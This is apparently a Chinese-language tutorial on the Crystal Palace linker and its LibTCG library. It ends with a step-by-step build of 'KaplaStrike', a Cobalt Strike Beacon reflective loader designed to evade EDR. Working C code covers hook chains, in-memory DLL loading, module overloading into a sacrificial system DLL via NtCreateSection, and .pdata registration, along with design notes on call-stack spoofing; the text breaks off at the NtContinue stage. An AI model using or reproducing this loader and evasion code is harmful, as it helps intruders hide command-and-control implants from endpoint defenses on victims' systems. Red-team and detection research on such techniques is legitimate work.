1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class RewriteEngine { protected MatchTree tree = new MatchTree (); public void add (RewriteArgs args, byte [] content) { if (args.getOptions().contains("+split" )) { } tree.add(args.getPatterns(), new RewriteCommand (args, content)); } }
Hook 机制详解 attach 命令 拦截对 Win32 API 的调用:
1 2 # 拦截 Sleep API attach "KERNEL32$Sleep" "MySleep"
工作原理 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ┌─────────────────────────────────────────────────────────────┐ │ attach 工作原理 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 原始代码: │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ call KERNEL32$Sleep │ │ │ │ ; 通过 IAT 解析 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ attach 后: │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ call MySleep │ │ │ │ ; 直接调用 hook 函数 │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘
C 代码实现 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 typedef VOID (WINAPI *Sleep_t) (DWORD) ;Sleep_t OriginalSleep = NULL ; VOID WINAPI MySleep (DWORD dwMilliseconds) { if (dwMilliseconds > 1000 ) { dwMilliseconds = 1000 ; } OriginalSleep(dwMilliseconds); }
redirect 命令 重定向对本地函数的调用:
1 2 # 重定向 malloc 到自定义实现 redirect "malloc" "MyMalloc"
protect 命令 保护函数不被 hook,防止无限递归:
1 2 # 保护 hook 函数本身 protect "MySleep"
使用场景 :
1 2 3 preserve "KERNEL32$LoadLibraryA" "init_frame_info"
Hook 链 1 2 3 4 5 6 # 多层 hook attach "KERNEL32$VirtualAlloc" "MyVirtualAlloc" protect "MyVirtualAlloc" # 在 hook 函数中调用原始 API # Crystal Palace 会自动处理
Hook 最佳实践
总是保护 hook 函数 :防止无限递归
保持 hook 简短 :减少检测风险
正确处理参数 :注意调用约定
保存原始状态 :必要时恢复
LibTCG 完整函数参考 LibTCG 是 Crystal Palace 自带的共享库,提供了丰富的底层功能函数。以下是所有可用函数的详细说明和使用示例。
LibTCG 核心数据结构 1. IMPORTFUNCS 结构体 1 2 3 4 typedef struct { __typeof__(LoadLibraryA) * LoadLibraryA; __typeof__(GetProcAddress) * GetProcAddress; } IMPORTFUNCS;
用途 : 存储 Win32 API 函数指针,用于 PIC/PICO 运行时。
使用示例 :
1 2 3 IMPORTFUNCS funcs; funcs.LoadLibraryA = LoadLibraryA; funcs.GetProcAddress = GetProcAddress;
LibTCG 函数完整列表 1. 核心 PICO 运行时函数 PicoGetExport 1 PICOMAIN_FUNC PicoGetExport (char * src, char * base, int tag) ;
功能 : 根据标签获取 PICO 导出函数的地址。
参数 :
src: PICO 源数据指针
base: PICO 代码加载基址
tag: 导出函数标签(通过 __tag_function() 获取)
返回值 : 函数指针
使用示例 :
1 2 3 4 5 6 7 8 9 int __tag_setup_hooks();int __tag_setup_memory();SETUP_HOOKS pSetupHooks = (SETUP_HOOKS)PicoGetExport( pico_src, pico_code, __tag_setup_hooks() ); pSetupHooks(&funcs);
PicoEntryPoint 1 PICOMAIN_FUNC PicoEntryPoint (char * src, char * base) ;
功能 : 获取 PICO 的入口点函数地址。
参数 :
src: PICO 源数据指针
base: PICO 代码加载基址
返回值 : 入口点函数指针
使用示例 :
1 2 PICOMAIN_FUNC pEntry = PicoEntryPoint(pico_src, pico_code); pEntry(args);
PicoCodeSize 1 int PicoCodeSize (char * src) ;
功能 : 获取 PICO 代码段大小。
参数 :
返回值 : 代码段大小(字节)
使用示例 :
1 2 int codeSize = PicoCodeSize(pico_src);char * pico_code = VirtualAlloc(NULL , codeSize, MEM_COMMIT, PAGE_READWRITE);
PicoDataSize 1 int PicoDataSize (char * src) ;
功能 : 获取 PICO 数据段大小。
参数 :
返回值 : 数据段大小(字节)
使用示例 :
1 2 int dataSize = PicoDataSize(pico_src);char * pico_data = VirtualAlloc(NULL , dataSize, MEM_COMMIT, PAGE_READWRITE);
PicoLoad 1 void PicoLoad (IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData) ;
功能 : 加载 PICO 到目标内存区域。
参数 :
funcs: 导入函数表
src: PICO 源数据指针
dstCode: 代码段目标地址
dstData: 数据段目标地址
使用示例 :
1 PicoLoad(&funcs, pico_src, pico_code, pico_data);
2. DLL 加载与解析函数 ParseDLL 1 void ParseDLL (char * src, DLLDATA * data) ;
功能 : 解析 DLL 文件头,填充 DLLDATA 结构体。
参数 :
src: DLL 文件内容指针
data: 输出参数,DLLDATA 结构体
使用示例 :
1 2 3 DLLDATA dllData; ParseDLL(dllBuffer, &dllData);
LoadDLL 1 void LoadDLL (DLLDATA * dll, char * src, char * dst) ;
功能 : 将 DLL 加载到目标内存地址(处理节区复制、重定位、导入表)。
参数 :
dll: 已解析的 DLLDATA 结构体
src: DLL 源数据指针
dst: 目标内存地址
使用示例 :
1 2 char * dllBase = VirtualAlloc(NULL , dllSize, MEM_COMMIT, PAGE_READWRITE);LoadDLL(&dllData, dllBuffer, dllBase);
LoadSections 1 void LoadSections (DLLDATA * dll, char * src, char * dst) ;
功能 : 仅复制 DLL 节区数据到目标地址(不处理重定位和导入)。
参数 :
dll: 已解析的 DLLDATA 结构体
src: DLL 源数据指针
dst: 目标内存地址
使用示例 :
1 2 LoadSections(&dllData, dllBuffer, dllBase);
ProcessImports 1 void ProcessImports (IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) ;
功能 : 解析并修复 DLL 的导入表(IAT)。
参数 :
funcs: 包含 LoadLibraryA 和 GetProcAddress 的函数指针
dll: 已解析的 DLLDATA 结构体
dst: DLL 加载基址
使用示例 :
1 2 3 4 IMPORTFUNCS funcs; funcs.LoadLibraryA = MyLoadLibraryA; funcs.GetProcAddress = MyGetProcAddress; ProcessImports(&funcs, &dllData, dllBase);
ProcessRelocations 1 void ProcessRelocations (DLLDATA * dll, char * src, char * dst) ;
功能 : 处理 DLL 的重定位表。
参数 :
dll: 已解析的 DLLDATA 结构体
src: DLL 源数据指针
dst: 目标内存地址
使用示例 :
1 2 3 4 LoadSections(&dllData, dllBuffer, dllBase); ProcessRelocations(&dllData, dllBuffer, dllBase);
EntryPoint 1 2 3 typedef BOOL WINAPI (*DLLMAIN_FUNC) (HINSTANCE, DWORD, LPVOID) ;DLLMAIN_FUNC EntryPoint (DLLDATA * dll, void * base) ;
功能 : 获取 DLL 的入口点函数地址。
参数 :
dll: 已解析的 DLLDATA 结构体
base: DLL 加载基址
返回值 : DLLMAIN 函数指针
使用示例 :
1 2 DLLMAIN_FUNC pEntry = EntryPoint(&dllData, dllBase); pEntry((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, NULL );
SizeOfDLL 1 DWORD SizeOfDLL (DLLDATA * data) ;
功能 : 获取 DLL 的 SizeOfImage(需要的内存大小)。
参数 :
返回值 : DLL 大小
使用示例 :
1 DWORD dllSize = SizeOfDLL(&dllData);
GetDataDirectory 1 IMAGE_DATA_DIRECTORY * GetDataDirectory (DLLDATA * dll, UINT entry) ;
功能 : 获取 PE 数据目录项。
参数 :
dll: DLLDATA 结构体
entry: 数据目录索引(如 IMAGE_DIRECTORY_ENTRY_IMPORT)
返回值 : 数据目录指针
使用示例 :
1 IMAGE_DATA_DIRECTORY* importDir = GetDataDirectory(&dllData, IMAGE_DIRECTORY_ENTRY_IMPORT);
3. 模块与函数查找函数 findModuleByHash 1 HANDLE findModuleByHash (DWORD moduleHash) ;
功能 : 通过 ror13 哈希在 PEB 中查找已加载模块。
参数 :
moduleHash: 模块名称的 ror13 哈希值
返回值 : 模块基址,未找到返回 NULL
使用示例 :
1 2 3 #define KERNEL32_HASH 0x6A4ABC5B HMODULE hKernel32 = findModuleByHash(KERNEL32_HASH);
findFunctionByHash 1 FARPROC findFunctionByHash (HANDLE hModule, DWORD wantedFunctionHash) ;
功能 : 在指定模块的导出表中通过 ror13 哈希查找函数。
参数 :
hModule: 模块句柄
wantedFunctionHash: 函数名称的 ror13 哈希值
返回值 : 函数地址,未找到返回 NULL
使用示例 :
1 2 3 #define VIRTUALALLOC_HASH 0x91AFCA54 FARPROC pVirtualAlloc = findFunctionByHash(hKernel32, VIRTUALALLOC_HASH);
4. 实用工具函数 ror13hash 1 DWORD ror13hash (const char * c) ;
功能 : 计算字符串的 ror13 哈希值。
参数 :
返回值 : ror13 哈希值
使用示例 :
1 DWORD hash = ror13hash("VirtualAlloc" );
adler32sum 1 DWORD adler32sum (unsigned char * buffer, DWORD length) ;
功能 : 计算 Adler-32 校验和。
参数 :
buffer: 数据缓冲区
length: 数据长度
返回值 : Adler-32 校验和
使用示例 :
1 DWORD checksum = adler32sum(data, dataLen);
__resolve_hook 1 FARPROC __resolve_hook(DWORD funcHash);
功能 : 解析通过 addhook 注册的 hook 函数。
参数 :
funcHash: hook 函数名称的 ror13 哈希
返回值 : hook 函数地址,未找到返回 NULL
使用示例 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) { if ((ULONG_PTR)lpProcName >> 16 == 0 ) { return GetProcAddress(hModule, lpProcName); } FARPROC result = __resolve_hook(ror13hash(lpProcName)); if (result != NULL ) { return result; } return GetProcAddress(hModule, lpProcName); }
dprintf 1 void dprintf (char * format, ...) ;
功能 : 格式化调试输出(通过 OutputDebugStringA)。
使用示例 :
1 dprintf("Debug: value=%d, ptr=0x%p\n" , value, ptr);
启用调试 : 在编译时定义 LOADER_DEBUG=1 或 PIC_DEBUG=1。
5. 宏定义 PTR_OFFSET 1 #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
功能 : 指针偏移计算。
使用示例 :
1 IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)PTR_OFFSET(base, dosHeader->e_lfanew);
DEREF 1 #define DEREF(name) *(UINT_PTR *)(name)
功能 : 解引用指针并获取其值。
使用示例 :
1 ULONG_PTR value = DEREF(pointer);
WIN_GET_CALLER 1 2 3 4 5 6 #ifdef __MINGW32__ #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) #else #pragma intrinsic(_ReturnAddress) #define WIN_GET_CALLER() _ReturnAddress() #endif
功能 : 获取调用者返回地址。
LibTCG 完整使用示例 示例 1: 完整的 DLL 加载器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include "tcg.h" void LoadMyDLL () { HANDLE hFile = CreateFileA("payload.dll" , GENERIC_READ, 0 , NULL , OPEN_EXISTING, 0 , NULL ); DWORD fileSize = GetFileSize(hFile, NULL ); char * dllBuffer = VirtualAlloc(NULL , fileSize, MEM_COMMIT, PAGE_READWRITE); ReadFile(hFile, dllBuffer, fileSize, NULL , NULL ); CloseHandle(hFile); DLLDATA dllData; ParseDLL(dllBuffer, &dllData); DWORD dllSize = SizeOfDLL(&dllData); char * dllBase = VirtualAlloc(NULL , dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); LoadSections(&dllData, dllBuffer, dllBase); ProcessRelocations(&dllData, dllBuffer, dllBase); IMPORTFUNCS funcs; funcs.LoadLibraryA = LoadLibraryA; funcs.GetProcAddress = GetProcAddress; ProcessImports(&funcs, &dllData, dllBase); DLLMAIN_FUNC entry = EntryPoint(&dllData, dllBase); entry((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, NULL ); }
示例 2: PICO 运行时集成 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include "tcg.h" void RunPICO () { IMPORTFUNCS funcs; funcs.LoadLibraryA = LoadLibraryA; funcs.GetProcAddress = GetProcAddress; char * pico_src = ...; int codeSize = PicoCodeSize(pico_src); int dataSize = PicoDataSize(pico_src); char * pico_code = VirtualAlloc(NULL , codeSize, MEM_COMMIT, PAGE_READWRITE); char * pico_data = VirtualAlloc(NULL , dataSize, MEM_COMMIT, PAGE_READWRITE); PicoLoad(&funcs, pico_src, pico_code, pico_data); DWORD oldProt; VirtualProtect(pico_code, codeSize, PAGE_EXECUTE_READ, &oldProt); typedef void (*SETUP_FUNC) (IMPORTFUNCS*) ; SETUP_FUNC setup = (SETUP_FUNC)PicoGetExport(pico_src, pico_code, __tag_setup()); setup(&funcs); PICOMAIN_FUNC entry = PicoEntryPoint(pico_src, pico_code); entry(args); }
示例 3: 自定义 GetProcAddress 与 Hook 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include "tcg.h" typedef struct { DWORD hash; FARPROC hookFunc; } HOOK_ENTRY; HOOK_ENTRY hookTable[] = { { ror13hash("Sleep" ), (FARPROC)_Sleep }, { ror13hash("ExitThread" ), (FARPROC)_ExitThread }, { 0 , NULL } }; FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName) { if ((ULONG_PTR)lpProcName >> 16 == 0 ) { return GetProcAddress(hModule, lpProcName); } DWORD hash = ror13hash(lpProcName); for (int i = 0 ; hookTable[i].hash != 0 ; i++) { if (hookTable[i].hash == hash) { return hookTable[i].hookFunc; } } return GetProcAddress(hModule, lpProcName); }
共享库创建指南 库结构 1 2 3 4 5 6 7 mylib/ ├── mylib.x64.zip # 64位库 ├── mylib.x86.zip # 32位库 └── src/ ├── mylib.c ├── mylib.h └── mylib.spec
创建库 1. 编写库代码 :
1 2 3 4 5 6 7 8 9 10 11 #include "mylib.h" int mylib_add (int a, int b) { return a + b; } void mylib_print (const char * msg) { KERNEL32$OutputDebugStringA(msg); }
2. 创建库 spec :
1 2 3 4 # mylib.spec load "mylib.o" make object +optimize pop $MYLIB
3. 打包库 :
1 2 3 4 5 6 7 8 x86_64-w64-mingw32-gcc -c mylib.c -o mylib.o -fPIC ./link mylib.spec mylib.o mylib.x64.bin zip mylib.x64.zip mylib.x64.bin
使用库 1 2 3 4 5 # 合并库 mergelib "mylib.x64.zip" # 现在可以使用库中的函数 # extern int mylib_add(int, int);
LibTCG 示例 LibTCG 是 Crystal Palace 自带的共享库,提供:
DLL 加载功能
PICO 运行时
EAT 遍历
内存管理
1 2 3 4 5 6 # 引入 LibTCG mergelib "tcg/libtcg/libtcg.x64.zip" # 使用库函数 # extern void* ParseDLL(void* data); # extern void* LoadDLL(void* dllData);
Yara 规则生成 基本用法 1 ./link loader.spec payload.dll out.bin -g rules.yar
生成的规则示例 1 2 3 4 5 6 7 8 9 10 11 12 rule crystal_palace_pic { meta: description = "Auto-generated Crystal Palace PIC signature" date = "2026-04-10" strings: $code1 = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 } $code2 = { 48 8B F9 48 8B CA 48 8B D8 48 8B 01 } condition: any of them }
规则特点
只针对不变代码 :排除可变部分
高置信度 :基于实际代码特征
多签名 :生成多个独立签名
高级选项 1 2 3 4 5 ./link loader.spec payload.dll out.bin -g rules.yar --rule-prefix "my_payload" ./link loader.spec payload.dll out.bin -g rules.yar --min-bytes 16
常见陷阱与解决方案 1. 全局变量访问失败 问题 :PIC 中访问全局变量导致崩溃
原因 :x86 不支持 RIP 相对寻址
解决方案 :
1 2 # 在 .spec 中启用 fixptrs fixptrs "_caller"
1 2 3 4 void * _caller() { return __builtin_return_address(0 ); }
2. 字符串常量无法使用 问题 :使用字符串常量导致链接错误
解决方案 :
1 2 3 4 5 6 7 char * str = "Hello" ;char str[] = {'H' ,'e' ,'l' ,'l' ,'o' ,0 };
3. API 调用失败 问题 :DFR 解析的 API 调用返回 NULL
排查步骤 :
检查模块名拼写
确认模块已加载
检查 resolver 函数实现
解决方案 :
1 2 3 4 5 void * ptr = KERNEL32$VirtualAlloc(...);if (ptr == NULL ) { }
4. 编译器优化破坏代码 问题 :编译器优化导致 PIC 行为异常
解决方案 :
1 2 3 4 5 CFLAGS += -O0 CFLAGS += -fno-jump-tables -fno-toplevel-reorder
5. 栈对齐问题 问题 :x64 下调用 API 崩溃
原因 :x64 要求 16 字节栈对齐
解决方案 :
1 2 3 4 5 __attribute__((force_align_arg_pointer)) void myFunction () { }
6. 死代码消除过度 问题 :必要的代码被优化掉
解决方案 :
1 2 # 保护特定函数 preserve "myImportantFunction"
1 2 3 __attribute__((used)) int myImportantVariable = 0 ;
实战案例:KaplaStrike 架构分析
本节基于 Lorenzo Meacci (@kapla) 的博客文章 “Bypassing EDR in a Crystal Clear Way” 深度解析
这是一个完整的开发教程,展示如何从零开始构建一个完全规避 EDR 的反射式加载器。
第一部分:理解问题 - EDR 检测机制详解 1.1 为什么传统加载器会被检测? 大多数操作者花费数天时间设计完美的 shellcode 加载器,却让载荷”裸奔”。这是本末倒置的做法。让我们理解 EDR 实际上在检查什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌─────────────────────────────────────────────────────────────────────────┐ │ EDR 检测向量全景图 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ 静态分析 │ │ 行为分析 │ │ 内存扫描 │ │ │ ├─────────────────┤ ├─────────────────┤ ├─────────────────┤ │ │ │ • 已知签名 │ │ • API Hooking │ │ • 内存特征 │ │ │ │ • 高熵值 │ │ • 内核回调 │ │ • 无 backing 文件│ │ │ │ • API 组合模式 │ │ • 调用栈检查 │ │ • 可疑内存区域 │ │ │ │ • Yara 规则 │ │ • ETW 遥测 │ │ • 字符串特征 │ │ │ └─────────────────┘ └─────────────────┘ └─────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘
1.2 调用栈检查 - 最关键的检测点 调用栈是现代 EDR 检查运行线程时最重要的内容之一。栈用于:
跟踪返回地址(CPU 知道函数完成后在哪里恢复执行)
存储局部变量
向函数传递参数
处理异常
问题示例:一个”坏”的调用栈
1 2 3 4 Frame 0: ntdll!NtAllocateMemory + 0x14 Frame 1: UNKNOWN (0x1234567890AB) ← 返回地址指向无 backing 文件的内存! Frame 2: UNKNOWN (0x1234567890EF) ← 垃圾数据 Frame 3: UNKNOWN (0x000000000000) ← 栈展开失败
好的调用栈应该是什么样?
1 2 3 4 5 Frame 0: ntdll!NtAllocateMemory + 0x14 Frame 1: kernel32!VirtualAllocEx + 0x27 Frame 2: kernel32!VirtualAlloc + 0x15 Frame 3: kernel32!BaseThreadInitThunk + 0x17 Frame 4: ntdll!RtlUserThreadStart + 0x2c
1.3 内存扫描与 MEM_PRIVATE 问题 当 Beacon 被加载到通过 VirtualAlloc 分配的匿名内存区域时:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌─────────────────────────────────────────────────────────────────────────┐ │ 内存区域类型对比 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ MEM_PRIVATE (可疑) MEM_IMAGE (合法) │ │ ┌──────────────────┐ ┌──────────────────┐ │ │ │ AllocationBase │ │ AllocationBase │ │ │ │ Type: MEM_PRIVATE│ │ Type: MEM_IMAGE │ │ │ │ State: MEM_COMMIT│ │ State: MEM_COMMIT│ │ │ │ Protect: PAGE_RWX│ ← 可疑! │ Protect: PAGE_RX │ ← 正常 │ │ │ Backing: (none) │ ← 无文件! │ Backing: dll.dll │ ← 有合法文件 │ │ └──────────────────┘ └──────────────────┘ │ │ │ │ EDR 检测逻辑: │ │ if (Type == MEM_PRIVATE && Protect == RWX && no_backing_file) { │ │ ALERT("可能的 shellcode 注入"); │ │ } │ │ │ └─────────────────────────────────────────────────────────────────────────┘
第二部分:C2 载荷架构演进 2.1 传统 Reflective DLL Injection (rDLL) 约 15 年前,Stephen Fewer 提出了反射式 DLL 注入的概念:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ┌─────────────────────────────────────────────────────────────────────────┐ │ Reflective DLL 加载流程 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. 外部加载器读取 DLL 文件 │ │ 2. 找到 ReflectiveLoader 导出函数 │ │ 3. 调用 ReflectiveLoader │ │ ├─ 分配足够的内存存放 DLL 镜像 │ │ ├─ 复制 DLL 节区到分配的内存 │ │ ├─ 修复基址重定位 │ │ ├─ 解析导入地址表 (IAT) │ │ ├─ 设置每个节区的内存保护 │ │ └─ 调用 DLL 入口点 │ │ │ │ 问题: │ │ • 仍需要外部加载器 │ │ • 加载器与特定实现耦合 │ │ • Beacon 落地到 MEM_PRIVATE 区域 │ │ • 调用栈暴露注入痕迹 │ │ │ └─────────────────────────────────────────────────────────────────────────┘
2.2 User-Defined Reflective Loader (UDRL) Cobalt Strike 4.4 引入了 UDRL 概念,允许操作者完全控制反射加载过程的每个阶段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ┌─────────────────────────────────────────────────────────────────────────┐ │ UDRL 架构优势 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 传统 rDLL: │ │ ┌─────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ 加载器 │ → │ ReflectiveLoader│ → │ Beacon DLL │ │ │ │ (固定) │ │ (固定) │ │ (固定行为) │ │ │ └─────────┘ └─────────────────┘ └─────────────────┘ │ │ │ │ UDRL: │ │ ┌─────────┐ ┌─────────────────┐ ┌─────────────────┐ │ │ │ 加载器 │ → │ 自定义加载器 │ → │ Beacon DLL │ │ │ │ (任意) │ │ (完全可控) │ │ (行为可修改) │ │ │ └─────────┘ └─────────────────┘ └─────────────────┘ │ │ │ │ 控制点: │ │ ✓ 内存分配方式 │ │ ✓ IAT 解析过程 │ │ ✓ 入口点调用方式 │ │ ✓ Sleep 周期行为 │ │ ✓ API 调用拦截 │ │ │ └─────────────────────────────────────────────────────────────────────────┘
第三部分:从零开始 - KaplaStrike 开发历程 3.1 阶段一:建立基线 (simple_rdll) 在添加规避技术之前,我们需要一个工作的基线:
目标 :正确加载 Beacon,能够上线,暴露所有检测点
代码结构 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include "tcglib/loaderdefs.h" #include "tcglib/tcg.h" char __DLLDATA__[0 ] __attribute__((section("cobalt_dll" )));static char * findAppendedDLL () { return (char *)&__DLLDATA__; } WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD); WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD); void LoadBeacon () { char * dll_raw = findAppendedDLL(); DLLDATA dllData; ParseDLL(dll_raw, &dllData); SIZE_T imageSize = SizeOfDLL(&dllData); char * base = KERNEL32$VirtualAlloc(NULL , imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); LoadDLL(&dllData, dll_raw, base); IMPORTFUNCS funcs = { LoadLibraryA, GetProcAddress }; ProcessImports(&funcs, &dllData, base); KERNEL32$VirtualProtect(base, imageSize, PAGE_EXECUTE_READ, &old); DLLMAIN_FUNC entry = EntryPoint(&dllData, base); entry((HINSTANCE)base, DLL_PROCESS_ATTACH, NULL ); } __attribute__((noinline, no_reorder)) void go () { LoadBeacon(); }
问题清单 :
检测点
状态
原因
MEM_PRIVATE
❌
VirtualAlloc 分配匿名内存
无 backing 文件
❌
内存区域没有关联磁盘文件
调用栈异常
❌
入口点调用暴露加载器地址
RWX 权限
❌
可能有可写可执行内存
内存签名
❌
Beacon 明文存在于内存
3.2 阶段二:Module Overloading 核心思想 :将 Beacon 注入到合法 DLL 的内存空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ┌─────────────────────────────────────────────────────────────────────────┐ │ Module Overloading 原理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 步骤 1: 选择牺牲 DLL │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ 要求: │ │ │ │ • 文件大小 >= Beacon 镜像大小 │ │ │ │ • 合法签名(可选但推荐) │ │ │ │ • 常见系统 DLL(如 WsmSvc.dll, dbghelp.dll) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ 步骤 2: 使用 NtCreateSection + NtMapViewOfSection 映射 │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ 为什么不用 LoadLibrary? │ │ │ │ • LoadLibrary 会触发 CFG 注册 │ │ │ │ • CFG 会阻止对 Beacon 入口点的间接调用 │ │ │ │ • NtCreateSection 绕过 CFG,不注册间接调用目标 │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ 步骤 3: 覆写节区内容 │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ 1. 将牺牲 DLL 的内存权限改为 RW │ │ │ │ 2. 清零目标区域 │ │ │ │ 3. 复制 Beacon 的头和节区 │ │ │ │ 4. 修复重定位 │ │ │ │ 5. 恢复正确的内存权限 │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘
实现代码 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 BOOL LoadSacrificialDll (IN LPCWSTR szDllFilePath, OUT HMODULE* phModule) { HANDLE hFile = INVALID_HANDLE_VALUE; HANDLE hSection = NULL ; NTSTATUS status = 0 ; PVOID mapped = NULL ; SIZE_T viewSize = 0 ; hFile = KERNEL32$CreateFileW(szDllFilePath, GENERIC_READ, FILE_SHARE_READ, NULL , OPEN_EXISTING, 0 , NULL ); if (hFile == INVALID_HANDLE_VALUE) return FALSE; status = NTDLL$NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL , NULL , PAGE_READONLY, SEC_IMAGE, hFile); KERNEL32$CloseHandle(hFile); if (!NT_SUCCESS(status)) return FALSE; status = NTDLL$NtMapViewOfSection(hSection, (HANDLE)-1 , &mapped, 0 , 0 , NULL , &viewSize, ViewShare, 0 , PAGE_READWRITE); NTDLL$NtClose(hSection); if (!NT_SUCCESS(status) || !mapped) return FALSE; *phModule = (HMODULE)mapped; return TRUE; } void ModuleOverload (IN LPCWSTR SacrificialDllPath) { HMODULE hSacrificial = NULL ; DLLDATA cobaltData; char * dll_raw = findAppendedDLL(); ParseDLL(dll_raw, &cobaltData); if (!LoadSacrificialDll(SacrificialDllPath, &hSacrificial)) { return ; } PIMAGE_NT_HEADERS pSacNt = (PIMAGE_NT_HEADERS)( (ULONG_PTR)hSacrificial + ((PIMAGE_DOS_HEADER)hSacrificial)->e_lfanew); SIZE_T sacrificialSize = pSacNt->OptionalHeader.SizeOfImage; SIZE_T beaconSize = SizeOfDLL(&cobaltData); if (beaconSize > sacrificialSize) { return ; } DWORD oldProt; KERNEL32$VirtualProtect(hSacrificial, 0x1000 , PAGE_READWRITE, &oldProt); PIMAGE_SECTION_HEADER pSacSec = IMAGE_FIRST_SECTION(pSacNt); for (DWORD i = 0 ; i < pSacNt->FileHeader.NumberOfSections; i++) { if (!pSacSec[i].VirtualAddress) continue ; SIZE_T secSize = pSacSec[i].SizeOfRawData ? pSacSec[i].SizeOfRawData : pSacSec[i].Misc.VirtualSize; if (!secSize) continue ; KERNEL32$VirtualProtect( (PVOID)((ULONG_PTR)hSacrificial + pSacSec[i].VirtualAddress), secSize, PAGE_READWRITE, &oldProt); } NTDLL$memset ((char *)hSacrificial, 0 , beaconSize); LoadDLL(&cobaltData, dll_raw, (char *)hSacrificial); }
关键点 :
SEC_IMAGE 标志让内核将文件作为 PE 映像处理
映射后的内存类型为 MEM_IMAGE,有合法的 backing 文件
绕过 CFG 因为没有通过 LoadLibrary 加载
3.3 阶段三:.pdata 注册 即使 Beacon 正确加载到牺牲 DLL 中,调用栈仍然只有部分干净。为了让 Windows 能正确展开 Beacon 的栈帧,需要注册 .pdata 节区:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ┌─────────────────────────────────────────────────────────────────────────┐ │ .pdata 和异常处理 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ .pdata 节区包含: │ │ • RUNTIME_FUNCTION 表 - 描述函数的起始、结束地址 │ │ • UNWIND_INFO - 描述如何展开栈帧 │ │ │ │ 没有注册 .pdata 的后果: │ │ • 栈展开器无法识别 Beacon 的函数边界 │ │ • 异常处理失败 │ │ • EDR 栈检查时发现异常的栈帧结构 │ │ │ │ 注册方法: │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ IMAGE_DATA_DIRECTORY* pExcept = │ │ │ │ &cobaltData.NtHeaders->OptionalHeader │ │ │ │ .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];│ │ │ │ │ │ │ │ if (pExcept->Size && pExcept->VirtualAddress) { │ │ │ │ PRUNTIME_FUNCTION pRF = (PRUNTIME_FUNCTION)( │ │ │ │ (ULONG_PTR)hSacrificial + pExcept->VirtualAddress);│ │ │ │ DWORD count = pExcept->Size / sizeof(RUNTIME_FUNCTION);│ │ │ │ RtlAddFunctionTable(pRF, count, (DWORD64)hSacrificial);│ │ │ │ } │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘
3.4 阶段四:NtContinue 入口转移 问题 :调用 Beacon 入口点时,CPU 会将返回地址压栈,该地址指向我们的 UDRL 代码:
1 2 3 4 5 6 调用前栈状态: RSP → [未定义] 调用后栈状态: RSP → [返回到UDRL的地址] ← 暴露了加载器位置! [其他数据...]
解决方案 :使用 NtContinue 和伪造的栈帧转移执行
